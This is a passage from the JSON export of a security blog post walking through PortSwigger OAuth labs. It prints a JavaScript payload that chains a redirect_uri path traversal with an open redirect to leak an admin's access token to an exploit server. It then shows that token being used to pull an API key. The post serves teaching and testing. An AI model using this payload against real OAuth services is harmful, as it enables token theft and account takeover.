src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-9-1024x271.png\" alt=\"\" class=\"wp-image-873\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-9-1024x271.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-9-300x79.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-9-768x203.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-9-640x169.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-9.png 1473w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>So now a script has to be crafted in such a way that extracts the access token and that can be accessed in the access logs.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">   if (!document.location.hash) {     window.location = 'https:\/\/ac6d1fad1ead47868027a165028800dd.web-security-academy.net\/auth?client_id=tpt9tjjjohaxui5ur4oa1&amp;redirect_uri=https:\/\/ac4c1f0d1e46478c800fa1d30070006e.web-security-academy.net\/oauth-callback\/..\/post\/next?path=https:\/\/ac6e1f671eeb47e480eea1080176006e.web-security-academy.net\/exploit&amp;response_type=token&amp;nonce=629526204&amp;scope=openid%20profile%20email'   } else {     window.location = '\/?'+document.location.hash.substr(1)   } <\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"125\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-11-1024x125.png\" alt=\"\" class=\"wp-image-875\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-11-1024x125.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-11-300x37.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-11-768x93.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-11-640x78.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-11.png 1068w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption>access token of admin user got leaked in the logs<\/figcaption><\/figure>\n\n\n\n<p>The task is to find the sensitive data of admin user. In all the requests, you will find an endpoint \/me that holds account specific information. You can use the access token previously obtained as a part of Authorization Bearer and access \/me endpoint<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"282\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-10-1024x282.png\" alt=\"\" class=\"wp-image-874\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-10-1024x282.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-10-300x83.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-10-768x211.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-10-640x176.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-10.png 1345w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>There you get the api key. Submit the key in the solution box in order to solve the lab.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Epilogue<\/h1>\n\n\n\n<p>Those were a lot of interesting scenarios from portswigger. Scenarios that you can really find in real-world applications. The important parameter to test for is always the redirect_uri. Also, check if the state parameter is present or not. If absent, check for CSRF vulnerabilities.<\/p>\n\n\n\n<p>Try to combine multiple bugs to create a larger impact, one of them being directory traversal (as discussed in here)<\/p>\n\n\n\n<p>That marks the end of this post. Hope you learned something and enjoyed reading.<\/p>\n\n\n\n<p>See you in the next one. Until then, Happy Hunting \ud83d\ude42<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">References<\/h2>\n\n\n\n<ul class=\"wp-block-list\"><li>https:\/\/medium.com\/age-of-awareness\/what-happens-when-you-log-in-with-your-facebook-or-google-account-a42776922e70<\/li><li>https:\/\/portswigger.net\/web-security\/oauth<\/li><\/ul>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The post disccuss around the basics of OAUTH and how to hunt for OAUTH vulnerabilities like leaking tokens, abusing redirect URI, absense of state parameter.<\/p>\n","protected":false},"author":1,"featured_media":884,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[2,321,257],"tags":[345,342,347,348,346,344,343],"class_list":["post-862","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-information-security","category-owasp-top-10","category-web-application","tag-csrf","tag-oauth","tag-oauth-basics","tag-oauth-portswigger","tag-open-redirect","tag-state","tag-vulnerabilities","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/862"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=862"}],"version-history":[{"count":7,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/862\/revisions"}],"predecessor-version":[{"id":889,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/862\/revisions\/889"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/884"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=862"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=862"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=862"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}